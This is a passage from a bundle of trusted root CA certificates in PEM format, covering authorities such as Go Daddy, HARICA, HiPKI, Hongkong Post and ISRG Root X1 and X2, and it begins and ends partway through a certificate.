      MIIEADCCAuigAwIBAgIBADANBgkqhkiG9w0BAQUFADBjMQswCQYDVQQGEwJVUzEh
      MB8GA1UEChMYVGhlIEdvIERhZGR5IEdyb3VwLCBJbmMuMTEwLwYDVQQLEyhHbyBE
      YWRkeSBDbGFzcyAyIENlcnRpZmljYXRpb24gQXV0aG9yaXR5MB4XDTA0MDYyOTE3
      MDYyMFoXDTM0MDYyOTE3MDYyMFowYzELMAkGA1UEBhMCVVMxITAfBgNVBAoTGFRo
      ZSBHbyBEYWRkeSBHcm91cCwgSW5jLjExMC8GA1UECxMoR28gRGFkZHkgQ2xhc3Mg
      MiBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTCCASAwDQYJKoZIhvcNAQEBBQADggEN
      ADCCAQgCggEBAN6d1+pXGEmhW+vXX0iG6r7d/+TvZxz0ZWizV3GgXne77ZtJ6XCA
      PVYYYwhv2vLM0D9/AlQiVBDYsoHUwHU9S3/Hd8M+eKsaA7Ugay9qK7HFiH7Eux6w
      wdhFJ2+qN1j3hybX2C32qRe3H3I2TqYXP2WYktsqbl2i/ojgC95/5Y0V4evLOtXi
      EqITLdiOr18SPaAIBQi2XKVlOARFmR6jYGB0xUGlcmIbYsUfb18aQr4CUWWoriMY
      avx4A6lNf4DD+qta/KFApMoZFv6yyO9ecw3ud72a9nmYvLEHZ6IVDd2gWMZEewo+
      YihfukEHU1jPEX44dMX4/7VpkI+EdOqXG68CAQOjgcAwgb0wHQYDVR0OBBYEFNLE
      sNKR1EwRcbNhyz2h/t2oatTjMIGNBgNVHSMEgYUwgYKAFNLEsNKR1EwRcbNhyz2h
      /t2oatTjoWekZTBjMQswCQYDVQQGEwJVUzEhMB8GA1UEChMYVGhlIEdvIERhZGR5
      IEdyb3VwLCBJbmMuMTEwLwYDVQQLEyhHbyBEYWRkeSBDbGFzcyAyIENlcnRpZmlj
      YXRpb24gQXV0aG9yaXR5ggEAMAwGA1UdEwQFMAMBAf8wDQYJKoZIhvcNAQEFBQAD
      ggEBADJL87LKPpH8EsahB4yOd6AzBhRckB4Y9wimPQoZ+YeAEW5p5JYXMP80kWNy
      OO7MHAGjHZQopDH2esRU1/blMVgDoszOYtuURXO1v0XJJLXVggKtI3lpjbi2Tc7P
      TMozI+gciKqdi0FuFskg5YmezTvacPd+mSYgFFQlq25zheabIZ0KbIIOqPjCDPoQ
      HmyW74cNxA9hi63ugyuV+I6ShHI56yDqg+2DzZduCLzrTia2cyvk0/ZM/iZx4mER
      dEr/VxqHD3VILs9RaRegAhJhldXRQLIQTO7ErBBDpqWeCtWVYpoNz4iCxTIM5Cuf
      ReYNnyicsbkqWletNw+vHX/bvZ8=
      -----END CERTIFICATE-----

      # Go Daddy Root Certificate Authority - G2
      -----BEGIN CERTIFICATE-----
      MIIDxTCCAq2gAwIBAgIBADANBgkqhkiG9w0BAQsFADCBgzELMAkGA1UEBhMCVVMx
      EDAOBgNVBAgTB0FyaXpvbmExEzARBgNVBAcTClNjb3R0c2RhbGUxGjAYBgNVBAoT
      EUdvRGFkZHkuY29tLCBJbmMuMTEwLwYDVQQDEyhHbyBEYWRkeSBSb290IENlcnRp
      ZmljYXRlIEF1dGhvcml0eSAtIEcyMB4XDTA5MDkwMTAwMDAwMFoXDTM3MTIzMTIz
      NTk1OVowgYMxCzAJBgNVBAYTAlVTMRAwDgYDVQQIEwdBcml6b25hMRMwEQYDVQQH
      EwpTY290dHNkYWxlMRowGAYDVQQKExFHb0RhZGR5LmNvbSwgSW5jLjExMC8GA1UE
      AxMoR28gRGFkZHkgUm9vdCBDZXJ0aWZpY2F0ZSBBdXRob3JpdHkgLSBHMjCCASIw
      DQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAL9xYgjx+lk09xvJGKP3gElY6SKD
      E6bFIEMBO4Tx5oVJnyfq9oQbTqC023CYxzIBsQU+B07u9PpPL1kwIuerGVZr4oAH
      /PMWdYA5UXvl+TW2dE6pjYIT5LY/qQOD+qK+ihVqf94Lw7YZFAXK6sOoBJQ7Rnwy
      DfMAZiLIjWltNowRGLfTshxgtDj6AozO091GB94KPutdfMh8+7ArU6SSYmlRJQVh
      GkSBjCypQ5Yj36w6gZoOKcUcqeldHraenjAKOc7xiID7S13MMuyFYkMlNAJWJwGR
      tDtwKj9useiciAF9n9T521NtYJ2/LOdYq7hfRvzOxBsDPAnrSTFcaUaz4EcCAwEA
      AaNCMEAwDwYDVR0TAQH/BAUwAwEB/zAOBgNVHQ8BAf8EBAMCAQYwHQYDVR0OBBYE
      FDqahQcQZyi27/a9BUFuIMGU2g/eMA0GCSqGSIb3DQEBCwUAA4IBAQCZ21151fmX
      WWcDYfF+OwYxdS2hII5PZYe096acvNjpL9DbWu7PdIxztDhC2gV7+AJ1uP2lsdeu
      9tfeE8tTEH6KRtGX+rcuKxGrkLAngPnon1rpN5+r5N9ss4UXnT3ZJE95kTXWXwTr
      gIOrmgIttRD02JDHBHNA7XIloKmf7J6raBKZV8aPEjoJpL1E/QYVN8Gb5DKj7Tjo
      2GTzLH4U/ALqn83/B2gX2yKQOC16jdFU8WnjXzPKej17CuPKf1855eJ1usV2GDPO
      LPAvTK33sefOT6jEm0pUBsV/fdUID+Ic/n4XuKxe9tQWskMJDE32p2u0mYRlynqI
      4uJEvlz36hz1
      -----END CERTIFICATE-----

      # HARICA TLS ECC Root CA 2021
      -----BEGIN CERTIFICATE-----
      MIICVDCCAdugAwIBAgIQZ3SdjXfYO2rbIvT/WeK/zjAKBggqhkjOPQQDAzBsMQsw
      CQYDVQQGEwJHUjE3MDUGA1UECgwuSGVsbGVuaWMgQWNhZGVtaWMgYW5kIFJlc2Vh
      cmNoIEluc3RpdHV0aW9ucyBDQTEkMCIGA1UEAwwbSEFSSUNBIFRMUyBFQ0MgUm9v
      dCBDQSAyMDIxMB4XDTIxMDIxOTExMDExMFoXDTQ1MDIxMzExMDEwOVowbDELMAkG
      A1UEBhMCR1IxNzA1BgNVBAoMLkhlbGxlbmljIEFjYWRlbWljIGFuZCBSZXNlYXJj
      aCBJbnN0aXR1dGlvbnMgQ0ExJDAiBgNVBAMMG0hBUklDQSBUTFMgRUNDIFJvb3Qg
      Q0EgMjAyMTB2MBAGByqGSM49AgEGBSuBBAAiA2IABDgI/rGgltJ6rK9JOtDA4MM7
      KKrxcm1lAEeIhPyaJmuqS7psBAqIXhfyVYf8MLA04jRYVxqEU+kw2anylnTDUR9Y
      STHMmE5gEYd103KUkE+bECUqqHgtvpBBWJAVcqeht6NCMEAwDwYDVR0TAQH/BAUw
      AwEB/zAdBgNVHQ4EFgQUyRtTgRL+BNUW0aq8mm+3oJUZbsowDgYDVR0PAQH/BAQD
      AgGGMAoGCCqGSM49BAMDA2cAMGQCMBHervjcToiwqfAircJRQO9gcS3ujwLEXQNw
      SaSS6sUUiHCm0w2wqsosQJz76YJumgIwK0eaB8bRwoF8yguWGEEbo/QwCZ61IygN
      nxS2PFOiTAZpffpskcYqSUXm7LcT4Tps
      -----END CERTIFICATE-----

      # HARICA TLS RSA Root CA 2021
      -----BEGIN CERTIFICATE-----
      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
      63ZTGI0RmLo=
      -----END CERTIFICATE-----

      # Hellenic Academic and Research Institutions ECC RootCA 2015
      -----BEGIN CERTIFICATE-----
      MIICwzCCAkqgAwIBAgIBADAKBggqhkjOPQQDAjCBqjELMAkGA1UEBhMCR1IxDzAN
      BgNVBAcTBkF0aGVuczFEMEIGA1UEChM7SGVsbGVuaWMgQWNhZGVtaWMgYW5kIFJl
      c2VhcmNoIEluc3RpdHV0aW9ucyBDZXJ0LiBBdXRob3JpdHkxRDBCBgNVBAMTO0hl
      bGxlbmljIEFjYWRlbWljIGFuZCBSZXNlYXJjaCBJbnN0aXR1dGlvbnMgRUNDIFJv
      b3RDQSAyMDE1MB4XDTE1MDcwNzEwMzcxMloXDTQwMDYzMDEwMzcxMlowgaoxCzAJ
      BgNVBAYTAkdSMQ8wDQYDVQQHEwZBdGhlbnMxRDBCBgNVBAoTO0hlbGxlbmljIEFj
      YWRlbWljIGFuZCBSZXNlYXJjaCBJbnN0aXR1dGlvbnMgQ2VydC4gQXV0aG9yaXR5
      MUQwQgYDVQQDEztIZWxsZW5pYyBBY2FkZW1pYyBhbmQgUmVzZWFyY2ggSW5zdGl0
      dXRpb25zIEVDQyBSb290Q0EgMjAxNTB2MBAGByqGSM49AgEGBSuBBAAiA2IABJKg
      QehLgoRc4vgxEZmGZE4JJS+dQS8KrjVPdJWyUWRrjWvmP3CV8AVER6ZyOFB2lQJa
      jq4onvktTpnvLEhvTCUp6NFxW98dwXU3tNf6e3pCnGoKVlp8aQuqgAkkbH7BRqNC
      MEAwDwYDVR0TAQH/BAUwAwEB/zAOBgNVHQ8BAf8EBAMCAQYwHQYDVR0OBBYEFLQi
      C4KZJAEOnLvkDv2/+5cgk5kqMAoGCCqGSM49BAMCA2cAMGQCMGfOFmI4oqxiRaep
      lSTAGiecMjvAwNW6qef4BENThe5SId6d9SWDPp5YSy/XZxMOIQIwBeF1Ad5o7Sof
      TUwJCA3sS61kFyjndc5FZXIhF8siQQ6ME5g4mlRtm8rifOoCWCKR
      -----END CERTIFICATE-----

      # Hellenic Academic and Research Institutions RootCA 2015
      -----BEGIN CERTIFICATE-----
      MIIGCzCCA/OgAwIBAgIBADANBgkqhkiG9w0BAQsFADCBpjELMAkGA1UEBhMCR1Ix
      DzANBgNVBAcTBkF0aGVuczFEMEIGA1UEChM7SGVsbGVuaWMgQWNhZGVtaWMgYW5k
      IFJlc2VhcmNoIEluc3RpdHV0aW9ucyBDZXJ0LiBBdXRob3JpdHkxQDA+BgNVBAMT
      N0hlbGxlbmljIEFjYWRlbWljIGFuZCBSZXNlYXJjaCBJbnN0aXR1dGlvbnMgUm9v
      dENBIDIwMTUwHhcNMTUwNzA3MTAxMTIxWhcNNDAwNjMwMTAxMTIxWjCBpjELMAkG
      A1UEBhMCR1IxDzANBgNVBAcTBkF0aGVuczFEMEIGA1UEChM7SGVsbGVuaWMgQWNh
      ZGVtaWMgYW5kIFJlc2VhcmNoIEluc3RpdHV0aW9ucyBDZXJ0LiBBdXRob3JpdHkx
      QDA+BgNVBAMTN0hlbGxlbmljIEFjYWRlbWljIGFuZCBSZXNlYXJjaCBJbnN0aXR1
      dGlvbnMgUm9vdENBIDIwMTUwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoIC
      AQDC+Kk/G4n8PDwEXT2QNrCROnk8ZlrvbTkBSRq0t89/TSNTt5AA4xMqKKYx8ZEA
      4yjsriFBzh/a/X0SWwGDD7mwX5nh8hKDgE0GPt+sr+ehiGsxr/CL0BgzuNtFajT0
      AoAkKAoCFZVedioNmToUW/bLy1O8E00BiDeUJRtCvCLYjqOWXjrZMts+6PAQZe10
      4S+nfK8nNLspfZu2zwnI5dMK/IhlZXQK3HMcXM1AsRzUtoSMTFDPaI6oWa7CJ06C
      ojXdFPQf/7J31Ycvqm59JCfnxssm5uX+Zwdj2EUN3TpZZTlYepKZcj2chF6IIbjV
      9Cz82XBST3i4vTwri5WY9bPRaM8gFH5MXF/ni+X1NYEZN9cRCLdmvtNKzoNXADrD
      gfgXy5I2XdGj2HUb4Ysn6npIQf1FGQatJ5lOwXBH3bWfgVMS5bGMSF0xQxfjjMZ6
      Y5ZLKTBOhE5iGV48zpeQpX8B653g+IuJ3SWYPZK2fu/Z8VFRfS0myGlZYeCsargq
      NhEEelC9MoS+L9xy1dcdFkfkR2YgP/SWxa+OAXqlD3pk9Q0Yh9muiNX6hME6wGko
      LfINaFGq46V3xqSQDqE3izEjR8EJCOtu93ib14L8hCCZSRm2Ekax+0VVFqmjZayc
      Bw/qa9wfLgZy7IaIEuQt218FL+TwA9MmM+eAws1CoRc0CwIDAQABo0IwQDAPBgNV
      HRMBAf8EBTADAQH/MA4GA1UdDwEB/wQEAwIBBjAdBgNVHQ4EFgQUcRVnyMjJvXVd
      ctA4GGqd83EkVAswDQYJKoZIhvcNAQELBQADggIBAHW7bVRLqhBYRjTyYtcWNl0I
      XtVsyIe9tC5G8jH4fOpCtZMWVdyhDBKg2mF+D1hYc2Ryx+hFjtyp8iY/xnmMsVMI
      M4GwVhO+5lFc2JsKT0ucVlMC6U/2DWDqTUJV6HwbISHTGzrMd/K4kPFox/la/vot
      9L/J9UUbzjgQKjeKeaO04wlshYaT/4mWJ3iBj2fjRnRUjtkNaeJK9E10A/+yd+2V
      Z5fkscWrv2oj6NSU4kQoYsRL4vDY4ilrGnB+JGGTe08DMiUNRSQrlrRGar9KC/ea
      j8GsGsVn82800vpzY4zvFrCopEYq+OsS7HK07/grfoxSwIuEVPkvPuNVqNxmsdnh
      X9izjFk0WaSrT2y7HxjbdavYy5LNlDhhDgcGH0tGEPEVvo2FXDtKK4F5D7Rpn0lQ
      l033DlZdwJVqwjbDG2jJ9SrcR5q+ss7FJej6A7na+RZukYT1HCjI/CbM1xyQVqdf
      bzoEvM14iQuODy+jqk+iGxI9FghAD/FGTNeqewjBCvVtJ94Cj8rDtSvK6evIIVM4
      pcw72Hc3MKJP2W/R8kCtQXoXxdZKNYm3QdV8hn9VTYNKpXMgwDqvkPGaJI7ZjnHK
      e7iG2rKPmT4dEw0SEe7Uq/DpFXYC5ODfqiAeW2GFZECpkJcNrVPSWh2HagCXZWK0
      vm9qp/UsQu0yrbYhnr68
      -----END CERTIFICATE-----

      # HiPKI Root CA - G1
      -----BEGIN CERTIFICATE-----
      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
      -----END CERTIFICATE-----

      # Hongkong Post Root CA 3
      -----BEGIN CERTIFICATE-----
      MIIFzzCCA7egAwIBAgIUCBZfikyl7ADJk0DfxMauI7gcWqQwDQYJKoZIhvcNAQEL
      BQAwbzELMAkGA1UEBhMCSEsxEjAQBgNVBAgTCUhvbmcgS29uZzESMBAGA1UEBxMJ
      SG9uZyBLb25nMRYwFAYDVQQKEw1Ib25na29uZyBQb3N0MSAwHgYDVQQDExdIb25n
      a29uZyBQb3N0IFJvb3QgQ0EgMzAeFw0xNzA2MDMwMjI5NDZaFw00MjA2MDMwMjI5
      NDZaMG8xCzAJBgNVBAYTAkhLMRIwEAYDVQQIEwlIb25nIEtvbmcxEjAQBgNVBAcT
      CUhvbmcgS29uZzEWMBQGA1UEChMNSG9uZ2tvbmcgUG9zdDEgMB4GA1UEAxMXSG9u
      Z2tvbmcgUG9zdCBSb290IENBIDMwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIK
      AoICAQCziNfqzg8gTr7m1gNt7ln8wlffKWihgw4+aMdoWJwcYEuJQwy51BWy7sFO
      dem1p+/l6TWZ5Mwc50tfjTMwIDNT2aa71T4Tjukfh0mtUC1Qyhi+AViiE3CWu4mI
      VoBc+L0sPOFMV4i707mV78vH9toxdCim5lSJ9UExyuUmGs2C4HDaOym71QP1mbpV
      9WTRYA6ziUm4ii8F0oRFKHyPaFASePwLtVPLwpgchKOesL4jpNrcyCse2m5FHomY
      2vkALgbpDDtw1VAliJnLzXNg99X/NWfFobxeq81KuEXryGgeDQ0URhLj0mRiikKY
      vLTGCAj4/ahMZJx2Ab0vqWwzD9g/KLg8aQFChn5pwckGyuV6RmXpwtZQQS4/t+Tt
      bNe/JgERohYpSms0BpDsE9K2+2p20jzt8NYt3eEV7KObLyzJPivkaTv/ciWxNoZb
      x39ri1UbSsUgYT2uy1DhCDq+sI9jQVMwCFk8mB13umOResoQUGC/8Ne8lYePl8X+
      l2oBlKN8W4UdKjk60FSh0Tlxnf0h+bV78OLgAo9uliQlLKAeLKjEiafv7ZkGL7YK
      TE/bosw3Gq9HhS2KX8Q0NEwA/RiTZxPRN+ZItIsGxVd7GYYKecsAyVKvQv83j+Gj
      Hno9UKtjBucVtT+2RTeUN7F+8kjDf8V1/peNRY8apxpyKBpADwIDAQABo2MwYTAP
      BgNVHRMBAf8EBTADAQH/MA4GA1UdDwEB/wQEAwIBBjAfBgNVHSMEGDAWgBQXnc0e
      i9Y5K3DTXNSguB+wAPzFYTAdBgNVHQ4EFgQUF53NHovWOStw01zUoLgfsAD8xWEw
      DQYJKoZIhvcNAQELBQADggIBAFbVe27mIgHSQpsY1Q7XZiNc4/6gx5LS6ZStS6LG
      7BJ8dNVI0lkUmcDrudHr9EgwW62nV3OZqdPlt9EuWSRY3GguLmLYauRwCy0gUCCk
      MpXRAJi70/33MvJJrsZ64Ee+bs7Lo3I6LWldy8joRTnU+kLBEUx3XZL7av9YROXr
      gZ6voJmtvqkBZss4HTzfQx/0TW60uhdG/H39h4F5ag0zD/ov+BS5gLNdTaqX4fnk
      GMX41TiMJjz98iji7lpJiCzfeT2OnpA8vUFKOt1b9pq0zj8lMH8yfaIDlNDceqFS
      3m6TjRgm/VWsvY+b0s+v54Ysyx8Jb6NvqYTUc79NoXQbTiNg8swOqn+knEwlqLJm
      Ozj/2ZQw9nKEvmhVEA/GcywWaZMH/rFF7buiVWqw2rVKAiUnhde3t4ZEFolsgCs+
      l6mc1X5VTMbeRRAc6uk7nwNT7u56AQIWeNTowr5GdogTPyK7SBIdUgC0An4hGh6c
      JfTzPV4e0hz5sy229zdcxsshTrD3mUcYhcErulWuBurQB7Lcq9CClnXO0lD+mefP
      L5/ndtFhKvshuzHQqp9HpLIiyhY6UFfEW0NnxWViA0kB60PZ2Pierc+xYw5F9KBa
      LJstxabArahH9CdMOA0uG0k7UvToiIMrVCjU8jVStDKDYmlkDJGcn5fqdBb9HxEG
      mpv0
      -----END CERTIFICATE-----

      # ISRG Root X1
      -----BEGIN CERTIFICATE-----
      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
      -----END CERTIFICATE-----

      # ISRG Root X2
      -----BEGIN CERTIFICATE-----
      MIICGzCCAaGgAwIBAgIQQdKd0XLq7qeAwSxs6S+HUjAKBggqhkjOPQQDAzBPMQsw
      CQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFyY2gg
      R3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMjAeFw0yMDA5MDQwMDAwMDBaFw00
      MDA5MTcxNjAwMDBaME8xCzAJBgNVBAYTAlVTMSkwJwYDVQQKEyBJbnRlcm5ldCBT
      ZWN1cml0eSBSZXNlYXJjaCBHcm91cDEVMBMGA1UEAxMMSVNSRyBSb290IFgyMHYw
      EAYHKoZIzj0CAQYFK4EEACIDYgAEzZvVn4CDCuwJSvMWSj5cz3es3mcFDR0HttwW
      +1qLFNvicWDEukWVEYmO6gbf9yoWHKS5xcUy4APgHoIYOIvXRdgKam7mAHf7AlF9
      ItgKbppbd9/w+kHsOdx1ymgHDB/qo0IwQDAOBgNVHQ8BAf8EBAMCAQYwDwYDVR0T
